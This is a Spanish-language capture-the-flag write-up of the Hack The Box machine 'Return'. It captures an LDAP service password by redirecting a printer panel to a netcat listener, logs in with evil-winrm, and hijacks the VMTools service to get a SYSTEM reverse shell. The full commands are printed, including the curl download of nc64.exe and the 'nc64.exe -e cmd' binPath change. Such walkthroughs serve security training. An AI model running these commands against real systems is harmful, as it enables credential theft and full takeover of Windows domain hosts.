Return [EASY🟢]
Dificultad: Fácil
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
ping -c 1 10.10.11.108
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# ping -c 1 10.10.11.108
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=178 ms
--- 10.10.11.108 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 178.324/178.324/178.324/0.000 ms
Podemos notar que se trata de una maquina Windows, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.108 -oN escaneo.txt
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.108 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 23:06 -03
Nmap scan report for 10.10.11.108
Host is up (0.18s latency).
Not shown: 65509 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-13 02:25:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
52888/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-03-13T02:26:15
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 18m34s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.78 seconds
Estamos frente a un entorno de directorio activo, donde tenemos los puertos 88(Kerberos), 135(NetBIOS) y 139(RPC), 3268(LDAP), el puerto 80 correspondiente a un servidor web Microsoft IIS 10.0, el puerto 445 correspondiente a un servidor SMB para recursos compartidos y por ultimo y mas interesante, el puerto 5985, por lo que podemos conectarnos mediante "evil-winrm"
cuando tengamos credenciales validas, ya que puede que un usuario del directorio activo este dentro del grupo "Remote Management Users"
1.3 whatweb
1.3 whatweb
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# whatweb 10.10.11.108
http://10.10.11.108 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.108], Microsoft-IIS[10.0], PHP[7.4.13], Script, Title[HTB Printer Admin Panel], X-Powered-By[PHP/7.4.13]
Microsoft IIS 10.0
PHP 7.4.13

Estamos frente a un admin panel de una impresora, que por lo general siempre las impresoras con servicios activados, credenciales, suelen ser la vía de entrada mas común en los atacantes
1.4 crackmapexec
1.4 crackmapexec
crackmapexec smb 10.10.11.108
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# crackmapexec smb 10.10.11.108
SMB 10.10.11.108 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
El sistema operativo que esta corriendo sobre la maquina es un Windows Server 2019 en su compilación 17763 de 64 bits, el nombre de la maquina es "PRINTER", el dominio de directorio activo es "return.local", el protocolo SMB esta firmado, y no tiene soporte para SMBv1, ósea utiliza SMBv2
2- Explotación
Vamos a irnos a "Settings" del admin panel de la impresora:

Podemos ver unas posibles credenciales, un subdominio que aparentemente pertenece al entorno de directorio activo("printer.return.local"), y un puerto 389
Usuario: svc-printer
Contraseña: *******
No tenemos la contraseña, ni revisando el código fuente
2.1 Server address panel admin
2.1 Server address panel admin
Como pudimos ver anteriormente, dentro del panel admin, en la sección de "Settings", tenemos un subdominio perteneciente al directorio activo
¿Qué pasaría si nos ponemos en escucha con netcat por el puerto 389 y ponemos nuestra IP de la VPN de Hack The Box en Server Addres?
Probemos:
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# nc -nlvp 389
listening on [any] 389 ...
Reemplazamos el subdominio del directorio activo por nuestra IP:

"Update":

Volvemos a la consola donde teniamos netcat en escucha:
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# nc -nlvp 389
listening on [any] 389 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.108] 61995
0*`%return\svc-printer�
1edFg43012!!
Parece que tenemos una posible "contraseña"
Usuario: svc-printer
Contraseña: 1edFg43012!!
Probemos con crackmapexec si la credencial es valida:
crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB 10.10.11.108 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.10.11.108 445 PRINTER [+] return.local\svc-printer:1edFg43012!!
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─#
Las credenciales son validas
2.2 Shell evil-winrm
2.2 Shell evil-winrm
Ahora probemos si podemos conectarnos mediante "evil-winrm" con estas credenciales con "crackmapexec":
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB 10.10.11.108 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
HTTP 10.10.11.108 5985 PRINTER [*] http://10.10.11.108:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.108 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
Parece que si, ahora probemos conectarnos:
evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
2.3 Obtención de la flag user
2.3 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "C:\Users\svc-printer\Desktop\user.txt"
, vamos a visualizar la flag:
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> cat C:\Users\svc-printer\Desktop\user.txt
83873c8fa7fd247d5300d04fba3c35b4
*Evil-WinRM* PS C:\Users\svc-printer\Desktop>
3- Escalado de privilegios
3.1 Servicio VMTools
3.1 Servicio VMTools
Vamos a ver los permisos que tenemos con el usuario "svc-printer" con el comando "net user svc-printer":
*Evil-WinRM* PS C:\inetpub> net user svc-printer
User name svc-printer
Full Name SVCPrinter
Comment Service Account for Printer
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/26/2021 1:15:13 AM
Password expires Never
Password changeable 5/27/2021 1:15:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/26/2021 1:39:29 AM
Logon hours allowed All
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
The command completed successfully.
Parece que estamos dentro del grupo "Server Operators", por lo que podemos realizar muchas cosas, desde eliminar archivos hasta apagar la maquina
Investigando un poco la maquina, me di cuenta que podemos modificar servicios, primero vamos a ver los servicios que estan corriendo dentro de la maquina:
*Evil-WinRM* PS C:\inetpub> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
*Evil-WinRM* PS C:\inetpub>
Tenemos un servicio llamado "VMTools", correspondiente a una maquina virtual dentro de la maquina objetivo
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools
Podemos modificar este servicio para obtener una reverse shell cambiándole el path por el ejecutable de netcat de Windows, para eso vamos a bajarnos netcat:
Vamos a darle permisos al .ZIP, descomrpimirlo y a entrar dentro de la carpeta que nos extrajo el .ZIP:
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# chmod 111 netcat-win32-1.11.zip
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# unzip netcat-win32-1.11.zip
Archive: netcat-win32-1.11.zip
inflating: netcat-1.11/doexec.c
inflating: netcat-1.11/generic.h
inflating: netcat-1.11/getopt.c
inflating: netcat-1.11/getopt.h
inflating: netcat-1.11/hobbit.txt
inflating: netcat-1.11/license.txt
inflating: netcat-1.11/Makefile
inflating: netcat-1.11/nc.exe
inflating: netcat-1.11/nc64.exe
inflating: netcat-1.11/netcat.c
inflating: netcat-1.11/readme.txt
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# cd netcat-1.11
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# ls
doexec.c generic.h getopt.c getopt.h hobbit.txt license.txt Makefile nc64.exe nc.exe netcat.c readme.txt
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─#
Tenemos la version de netcat de 32 bits(nc.exe) y la version de 64 bits(nc64.exe), en este caso como la maquina objetivo es de 64 bits, vamos a pasarnos el archivo "nc64.exe", para eso abrimos un servidor web Python por el puerto 80:
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# ls
doexec.c generic.h getopt.c getopt.h hobbit.txt license.txt Makefile nc64.exe nc.exe netcat.c readme.txt
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Volvemos a la shell de "evil-winrm" y nos lo bajamos con curl:
curl 10.10.14.12/nc64.exe -o nc64.exe
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> curl 10.10.14.12/nc64.exe -o nc64.exe
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> dir
Directory: C:\Users\svc-printer\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/12/2025 8:32 PM 43696 nc64.exe
-ar--- 3/12/2025 7:17 PM 34 user.txt
*Evil-WinRM* PS C:\Users\svc-printer\Desktop>
Y ahora vamos a modificar el path del servicio "VMTools" cambiandolo por netcat, y que cuando se ejecute el servicio, nos de una reverse shell con netcat a nuestro Kali por el puerto 443, para eso utilizaremos el comando:
sc.exe config VMTools binPath="C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.12 443"
Para modificar el path o ruta de un servicio, se utiliza el comando "sc", como podemos ver le especifico que quiero configurar el servicio "VMTools", le especifico que quiero configurar del servicio "VMTools", en este caso quiero modificar el path, y luego le especificamos la ruta de netcat diciéndole que nos envié una CMD(Símbolo del sistema) a nuestra IP de VPN de Hack The Box por el puerto 443:
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe config VMTools binPath="C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.12 443"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.12 443 True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
*Evil-WinRM* PS C:\Users\svc-printer\Desktop>
Como podemos ver, el servicio "VMTools" se modifico correctamente
C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.12 443 True VMTools
Ahora vamos a ponernos en escucha en Kali, con netcat mediante el puerto 443 o el que le hayamos especificado al path del servicio:
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# nc -nlvp 443
listening on [any] 443 ...
Ahora vamos a detener el servicio "VMTools":
sc.exe stop VMTools
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe stop VMTools
SERVICE_NAME: VMTools
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Users\svc-printer\Desktop>
Y ahora vamos a iniciar el servicio nuevamente para que se ejecute el servicio que contiene la reverse shell como "Administrator" que nos va a enviar mediante netcat por el puerto 443:
sc.exe start VMTools
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe start VMTools
Se quedara cargando, pero volvamos a la consola donde teniamos netcat en escucha por el puerto 443:
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.108] 57589
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
3.2 Obtención de la flag root
3.2 Obtención de la flag root
La flag de root se encuentra dentro de la ruta absoluta "C:\Users\Administrator\Desktop\root.txt"
, vamos a visualizar la flag:
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.108] 57595
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type "C:\Users\Administrator\Desktop\root.txt"
type "C:\Users\Administrator\Desktop\root.txt"
acdbb891871f0606842269f9ae81ef84
C:\Windows\system32>
Con esto, concluimos la maquina "Return" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización